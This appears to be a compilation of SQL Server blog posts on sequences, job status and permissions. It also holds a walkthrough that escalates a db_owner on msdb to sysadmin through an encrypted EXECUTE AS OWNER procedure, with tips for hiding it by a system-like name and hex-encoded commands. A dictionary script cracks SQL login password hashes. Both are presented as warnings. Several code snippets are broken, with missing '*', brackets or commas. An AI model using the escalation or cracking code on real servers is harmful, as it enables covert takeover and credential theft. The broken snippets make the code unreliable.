T-SQL: Sequential Numbering

Introduction

It is as easy as 1, 2, 3. A generic numerical sequence which is incremented from a known value. In this article we will look at the options that are available to create sequences which have primarily used identity, and more recently a new tool in the form of SEQUENCE  before finally looking at a custom solution.

1. IDENTITY (Property) (Transact-SQL)

The most familiar of concepts is that of the  IDENTITY (Property) (Transact-SQL)   which can be specified on a column for a table. The code below shows how an identity property is applied with a seed value and an increment value. The example will start with an ID of 1 and then increment by 1 for each subsequent call, although these values can be changed as required.

DECLARE @d1 TABLE ([ID] BIGINT IDENTITY(1,1) PRIMARY KEY CLUSTERED,[Name]VARCHAR(50));
INSERT INTO @d1 ([Name]) VALUES ('Jon');
INSERT INTO @d1 ([Name]) VALUES ('Jo');
INSERT INTO @d1 ([Name]) VALUES ('Bob');
SELECT FROM @d1;


The 3 row insert above has occurred using the values 1,2 and 3.

ID Name
1 Jon
2 Jo
3 Bob

 

2. CREATE SEQUENCE (Transact-SQL)

Starting with SQL 2012 a new option was made available via a new construct called SEQUENCE (Transact-SQL)  . Unlike the identity property which is bound to a single column of a table, a sequence is a stand-alone object. This removes the coupling between a particular column of a table and allows generation of sequences that could span multiple objects, or perhaps be cyclical in nature.

A simple example is shown below to mimic the previous example, although there are several additional options that can be specified which affect not only the way the sequence behaves but also how it performs.

CREATE SEQUENCE dbo.Seq2012 AS BIGINT START WITH 1 INCREMENT BY 1;
--ALTER SEQUENCE dbo.Seq2012 RESTART WITH 1;--Restarting the sequence
DECLARE @d2 TABLE ([ID] BIGINT PRIMARY KEY CLUSTERED,[NameVARCHAR(50))
INSERT INTO @d2 ([ID],[Name]) VALUES (NEXT VALUE FOR dbo.Seq2012,'Jon');
INSERT INTO @d2 ([ID],[Name]) VALUES (NEXT VALUE FOR dbo.Seq2012,'Jo');
INSERT INTO @d2 ([ID],[Name]) VALUES (NEXT VALUE FOR dbo.Seq2012,'Bob');
SELECT FROM @d2;


3. Custom Sequence

If more control is needed over a sequence then the most appropriate solution in some cases is to produce a custom solution. This will need a location to store the values and a way to increment. The simplest way to achieve this is dedicated table and stored procedure.

The table is best kept to a minimum with regards implementation as we do not want to introduce any performance degradation. The procedure is an update of the stored value based on a passed increment, however the update itself uses syntax which may seem a little strange. The UPDATE   syntax documentation shows this as

@variable = column = expression.

USE [tempdb];
GO
IF OBJECT_ID('dbo.NumberSequence''U'IS NOT NULL
DROP TABLE dbo.NumberSequence;
GO
CREATE TABLE dbo.NumberSequence(NextNumber BIGINT NOT NULL);
GO
--Seed the table with an initial value of 0, so that the first increment is a value of 1.
INSERT INTO dbo.NumberSequence(NextNumber) VALUES(0);
GO
CREATE PROCEDURE [dbo].[GetNextNumber]
@NextNumber AS BIGINT OUTPUT,
@IncrementBy BIGINT = 1
AS
SET NOCOUNT ON;
UPDATE [dbo].[NumberSequence]
SET @NextNumber = [NextNumber] = [NextNumber] + ISNULL(@IncrementBy,0);
GO
--Incrementing the custom sequence.
DECLARE @NextNumber BIGINT
EXECUTE [dbo].[GetNextNumber] @NextNumber OUTPUT,1
SELECT @NextNumber



The above solution will allow the increment of a numerical value based on a stored procedure call, in which we could increase the value by 1 or 100. This enables ranges of numbers to be requested as well as individual values.

4. No stored sequence

Another alternative is to use the highest values + 1 as the next in the sequence. However as this relies on getting the max value of what could be a large table this may have performance/concurrency implications if the corresponding inserts do not happen in a timely fashion.

DECLARE @d3 TABLE ([ID] BIGINT PRIMARY KEY CLUSTERED,[NameVARCHAR(50))
INSERT INTO @d3 ([ID],[Name]) VALUES ((SELECT COALESCE(MAX([ID]),0)+1 FROM @d3),'Jon');
INSERT INTO @d3([ID],[Name]) VALUES ((SELECT COALESCE(MAX([ID]),0)+1 FROM @d3),'Jo');
INSERT INTO @d3 ([ID],[Name]) VALUES ((SELECT COALESCE(MAX([ID]),0)+1 FROM @d3),'Bob');
SELECT FROM @d3;

 

 

http://social.technet.microsoft.com/wiki/contents/articles/25552.t-sql-sequential-numbering.aspx

Check status of SQL Jobs

Finding out the status of SQL Jobs is a simple task which can be accomplished via the GUI or in code using EXEC msdb.dbo.sp_help_job.

However one issue that is encountered is that the results from this procedure can not easily be used. If an attempt is made to insert the results into another table an error is thrown.

“An INSERT EXEC statement cannot be nested.”

CREATE TABLE #Results
(
[job_id] UNIQUEIDENTIFIER,
[originating_server] NVARCHAR(256),
[name] SYSNAME,
[enabled] TINYINT,
[description] NVARCHAR(1024),
[start_step_id] INT,
[category] SYSNAME,
[owner] SYSNAME,
[notify_level_eventlog] INT,
[notify_level_email] INT,
[notify_level_netsend] INT,
[notify_level_page] INT,
[notify_email_operator] NVARCHAR(MAX),
[notify_netsend_operator] NVARCHAR(MAX),
[notify_page_operator] NVARCHAR(MAX),
[delete_level] INT,
[date_created] DATETIME,
[date_modified] DATETIME,
[version_number] INT,
[last_run_date] INT,
[last_run_time] INT,
[last_run_outcome] INT,
[next_run_date] INT,
[next_run_time] INT,
[next_run_schedule_id] INT,
[current_execution_status] INT,
[current_execution_step] SYSNAME,
[current_retry_attempt] INT,
[has_step] INT,
[has_schedule] INT,
[has_target] INT,
[type] INT
)

INSERT INTO #Results
EXEC msdb.dbo.sp_help_job
--Msg 8164, Level 16, State 1, Procedure sp_get_composite_job_info, Line 72
--An INSERT EXEC statement cannot be nested.

Workarounds

In order to capture the data there are several options.

0. Perhaps Microsoft will refactor the code and create a management view/tvf to retrieve jobs with status? ;-)

1. Use Openrowset and enable “ad hoc distributed queries” = Lazy Option and comes with security issues. There is also further issues with 2012 see links.

http://blogs.msdn.com/b/sqlagent/archive/2012/07/12/workaround-sql-server-2012-openrowset-on-msdb-dbo-sp-help-job-throws-error.aspx
https://connect.microsoft.com/SQLServer/feedback/details/737341/sql-server-2012-openrowset-on-msdb-dbo-sp-help-job-throws-error

2. Check status via SMO

[Void][Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.Smo")|Out-Null;
[Void][Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoExtended")|Out-Null;
$Instance = New-Object "Microsoft.SqlServer.Management.Smo.Server" "localhost";
$Instance.JobServer.Jobs|ft

I suppose you could create a job step to put this data in a table and query that instead.

Note it is NOT possible to create a SQL CLR and use SMO as you will get one of the following errors:

System.Security.SecurityException: That assembly does not allow partially trusted callers.
System.Exception: This functionality is disabled in the SQLCLR. It is recommended that you execute from your client application.

3. Use master.dbo.xp_sqlagent_enum_jobs instead which is called as part of EXEC msdb.dbo.sp_help_job.

--http://jongurgul.com/blog/check-status-of-sql-jobs
DECLARE @t TABLE
(
[Job ID] UNIQUEIDENTIFIER,[Last Run Date] CHAR(8),[Last Run Time] CHAR(6),[Next Run Date] CHAR(8),[Next Run Time] CHAR(6),[Next Run Schedule ID] INT,
[Requested To Run] INT,[Request Source] INT,[Request Source ID] SQL_VARIANT,[Running] INT,[Current Step] INT,[Current Retry Attempt] INT,[State] INT
)

INSERT INTO @t
EXECUTE master.dbo.xp_sqlagent_enum_jobs @can_see_all_running_jobs=1,@job_owner='0x4A6F6E47757267756C'

SELECT
 es.[session_id] [SessionID]
,t.[Request Source ID] [Requester]
,t.[Job ID] [JobID]
,sj.[name] [JobName]
,sjs.[step_id] [StepID]
,sjs.[step_name] [StepName]
,CASE t.[State]
 WHEN 0 THEN 'Not idle or suspended'
 WHEN 1 THEN 'Executing'
 WHEN 2 THEN 'Waiting For Thread'
 WHEN 3 THEN 'Between Retries'
 WHEN 4 THEN 'Idle'
 WHEN 5 THEN 'Suspended'
 WHEN 6 THEN 'WaitingForStepToFinish'
 WHEN 7 THEN 'PerformingCompletionActions'
 ELSE ''
 END [State]
,sja.[start_execution_date] [FirstStepStartDate]
,sja.[last_executed_step_id] [LastStepID]
,sja.[last_executed_step_date] [LastStepStartDate]
,sja.[stop_execution_date] [LastStepEndDate]
FROM @t t
INNER JOIN msdb..sysjobs sj ON t.[Job ID] = sj.[job_id]
INNER JOIN msdb..sysjobsteps sjs ON sjs.[job_id] = sj.[job_id]
AND t.[Job ID] = sjs.[job_id]
AND t.[Current Step] = sjs.[step_id]
INNER JOIN
(
	SELECT * FROM msdb..sysjobactivity d
	WHERE EXISTS
	(
	SELECT 1
	FROM msdb..sysjobactivity l
	GROUP BY l.[job_id]
	HAVING l.[job_id] = d.[job_id]
	AND MAX(l.[start_execution_date]) = d.[start_execution_date]
	)
) sja
ON sja.[job_id] = sj.[job_id]
LEFT JOIN (SELECT SUBSTRING([program_name],30,34) p,[session_id] FROM sys.dm_exec_sessions
WHERE [program_name] LIKE 'SQLAgent - TSQL JobStep%') es
ON CAST('' AS XML).value('xs:hexBinary(substring(sql:column("es.p"),3))','VARBINARY(MAX)') = sj.[job_id]

http://social.msdn.microsoft.com/Forums/en-IN/transactsql/thread/831c2dcc-75fc-41ac-943d-6457d9fb2ca9

SQL Event for July 2014

Almost July 2014 and looking forward to what will no doubt be another great SQLBits. This time in Telford.

SQLBits XII 17th – 19th July 2014 The International Centre, Telford
http://sqlbits.com/

However before SQLBits there is another event that you can still go to if you are quick, and it is in the South West!

There are currently a few spots available to see Brent Ozar present “Are AlwaysOn Availability Groups Right for You?” in Bristol. So get in quick

Updated 2 July 2014 No places left..

http://www.sqlserverclub.co.uk/sql-server-bristol-user-group-events.aspx

Checking what permissions they have in SQL Server

The function sys.fn_my_permissions is very useful for seeing what permissions you have, but it can be just as useful to check someone else. For this all that is needed is to use EXECUTE AS to impersonate them.

--http://jongurgul.com/blog/checking-permissions-sql-server
CREATE USER Meow WITHOUT LOGIN

SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName];

EXECUTE AS USER = 'Meow'
--EXECUTE AS LOGIN = 'Meow'

SELECT * FROM
(
SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName],2 [Level],ao.[name],p.[permission_name],p.[entity_name],p.[subentity_name]
FROM sys.all_objects ao
CROSS APPLY sys.fn_my_permissions(QUOTENAME(ao.[name]),'OBJECT') p
UNION ALL
SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName],1,d.[name],p.[permission_name],p.[entity_name],p.[subentity_name]
FROM sys.databases d
CROSS APPLY sys.fn_my_permissions(QUOTENAME(d.name), 'DATABASE') p
UNION ALL
SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName],0,@@SERVERNAME,p.[permission_name],p.[entity_name],p.[subentity_name]
FROM sys.fn_my_permissions(NULL, 'SERVER') p
) x
ORDER BY 1,2,3
REVERT 

SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName];

DROP USER Meow

Dangers of giving dbo in MSDB

I wanted to talk today about something that I have often seen in environments which is that dbo is granted to msdb without a second thought to the exact implications.

So what? Its not got any user data in it, and they need dbo to perform some action not covered by the existing security to do with job(s)/agent management. (Probably a lazy permission grant in all honesty)

The issue that occurs is basically that  although you have granted dbo, they have in fact got SA. First when installing SQL Server the msdb database is created with “TRUSTWORTY ON” and secondarily the system databases are owned by SA.

But why is this an issue? Because all that is needed is for a malicious user with dbo to create a very simple procedure using “EXECUTE AS OWNER”. Now as SQL Server has TRUSTWORTHY set for msdb what happens is that we can now escalate to SA.

1. Create a user (or use an existing one with permission of dbo on msdb)

USE [msdb]
CREATE USER Gur WITHOUT LOGIN
GO
ALTER ROLE [db_owner] ADD MEMBER [Gur]

2. Test Access

USE [msdb]
EXECUTE AS USER='Gur'
PRINT SUSER_SNAME()
CREATE DATABASE j0
REVERT
PRINT SUSER_SNAME()

So this errors, because we do not have the permission to create a database we just have dbo. “Msg 262, Level 14, State 1, Line 3 CREATE DATABASE permission denied in database ‘master’.”

3. Adding a procedure with EXECUTE AS OWNER on a TRUSTWORTHY database.

Lets create a procedure to do what ever we want… Here is one in which I will also encrypt the definition to hide the evilness.

CREATE PROCEDURE msdb_purge @SQL NVARCHAR(4000) WITH ENCRYPTION,EXECUTE AS OWNER AS EXEC sp_executesql @sql

4. Lets try it out

USE [msdb]
EXECUTE AS USER='Gur'
PRINT SUSER_SNAME()
EXEC msdb_purge 'CREATE DATABASE j1'
REVERT
PRINT SUSER_SNAME()

… Command(s) completed successfully.

5. Finally as we want to hide what we are doing lets cast the command to varbinary which will be accepted by our procedure. (Drop database created above)

USE [msdb]
EXECUTE AS USER='Gur'
PRINT SUSER_SNAME()
EXEC msdb_purge 0x43005200450041005400450020004400410054004100420041005300450020006A00 --SELECT CAST(N'CREATE DATABASE j2' AS VARBINARY(8000))
REVERT
PRINT SUSER_SNAME()

In the above I have hidden the definition, as well as the command being run. I have also given it a nice system sounding name to make it less likely to be picked up. I suppose I could also mark it as a system object. (sys.sp_MS_MarkSystemObject)

TRUSTWORTHY + dbo = I can be the whoever owns that database. Nobody has freely granted dbo in msdb for your default install of SQL Server right?

SQL Server Login password hash

In this article we will look at how SQL Server stores passwords and how we can go about working them out.

As a developer/administrator you are probably accessing SQL Server via a windows login, however the other option is when the instance is changed into mixed mode allowing SQL Logins. These logins are created within the master database and shown in sys.server_principals.

There is additional information in sys.sql_logins which itself inherits from sys.server_principals.  The 3 additional columns are called is_policy_checked,is_expiration_checked and password_hash.

If you take a hash of a known piece of text using the HASHBYTES function, and then compare it with an identical password you have entered when creating a sql login you will notice that they do not match. (Looking at the password_hash columns in sys.sql_logins)

The difference is that an addition piece of data called a salt has been added to the process.

x = Hash(PlainText + Salt) instead of x = Hash(PlainText)

SELECT HASHBYTES('SHA2_512',CAST(N'JonGurgul' AS VARBINARY(MAX)))
--0x605334B588BA046B9EA3FD2F7C501ABD549D2F698A57E78EAE525553F72CBA0B710FBD928FB1AE05FD6FAEECB9A957C2EEF0323EA6BC75FE92A60C7D4FAA7AD2

SELECT HASHBYTES('SHA2_512',CAST(N'JonGurgul' AS VARBINARY(MAX))+0xF1202F8A)
--0x0C9748812054A27F0209CD5DCA57EFE33C496A112BA6EBB048B91D35FA784F385A1625228777164719565A02612255B83F6BD37DE096DEBE74AF9B936BB8C02D

This helps to add additional security, however SQL server stores the salt as part of the hash. If you look at the password_hash column you will have something that looks like:

0x0200F1202F8A0C9748812054A27F0209CD5DCA57EFE33C496A112BA6EBB048B91D35FA784F385A1625228777164719565A02612255B83F6BD37DE096DEBE74AF9B936BB8C02D

Now you will see that the bold 4 bytes match the salt that I had used in the previous example, and the red data is the actual hash of the plain text.

Cracking/Hacking/Guessing SQL Login passwords

Now for an example and with a bit of guess work lets see if I can work out any of your passwords. Note that the hash algorithm changes from SHA1 to SHA2-512 from SQL 2012.

--http://jongurgul.com/blog/sql-server-login-password-hash
USE [tempdb]
GO
IF NOT EXISTS(SELECT * FROM [tempdb].sys.tables WHERE name = 'WordList')
BEGIN
 CREATE TABLE [dbo].[WordList]([Plain] NVARCHAR(MAX))

 --USERNAME//PASSWORD COMBOS
 INSERT INTO [WordList]([Plain])
 SELECT [name] FROM sys.sql_logins
 UNION
 SELECT REPLACE(REPLACE(REPLACE([name],'o','0'),'i','1'),'e','3') FROM sys.sql_logins
 UNION
 SELECT REPLACE(REPLACE(REPLACE([name],'o','0'),'i','1'),'e','3')+'.' FROM sys.sql_logins --example added character
 UNION
 SELECT REPLACE(REPLACE(REPLACE([name],'o','0'),'i','1'),'e','3')+'!' FROM sys.sql_logins --example added character

 --No Comment
 INSERT INTO [WordList]([Plain]) VALUES (N'')
 INSERT INTO [WordList]([Plain]) VALUES (N'password')
 INSERT INTO [WordList]([Plain]) VALUES (N'sa')
 INSERT INTO [WordList]([Plain]) VALUES (N'dev')
 INSERT INTO [WordList]([Plain]) VALUES (N'test')
END
DECLARE @Algorithm VARCHAR(10)
SET @Algorithm = CASE WHEN @@MICROSOFTVERSION/0x01000000 = 11 THEN 'SHA2_512' ELSE 'SHA1' END

SELECT
 [name]
,[password_hash]
,SUBSTRING([password_hash],3,4) [Salt]
,SUBSTRING([password_hash],7,(LEN([password_hash])-6)) [Hash]
,HASHBYTES(@Algorithm,CAST(w.[Plain] AS VARBINARY(MAX))+SUBSTRING([password_hash],3,4)) [ComputedHash]
,w.[Plain]
FROM sys.sql_logins
INNER JOIN [tempdb].[dbo].[WordList] w
ON SUBSTRING([password_hash],7,(LEN([password_hash])-6)) = HASHBYTES(@Algorithm,CAST(w.[Plain] AS VARBINARY(MAX))+SUBSTRING([password_hash],3,4))

IF EXISTS(SELECT * FROM [tempdb].sys.tables WHERE name = 'WordList')
BEGIN
 DROP TABLE [tempdb].[dbo].[WordList]
END
GO
SELECT
[name]
,[password_hash]
,SUBSTRING([password_hash],3,4) [Salt]
,SUBSTRING([password_hash],7,(LEN([password_hash])-6)) [Hash]
FROM sys.sql_logins
GO

I have used a table to store some plain text example passwords, but you can obviously add your own guesses to try to determine the obvious ones.

Hopefully the above simple code has not worked out any of your passwords, but if it has I would suggest taking the opportunity to change them.

Another option instead of manually extracting the salt and rehashing is to use the function PWDCOMPARE which will do the work for you.

SELECT [name],[password_hash]
FROM sys.sql_logins
WHERE PWDCOMPARE(N'JonGurgul',[password_hash]) = 1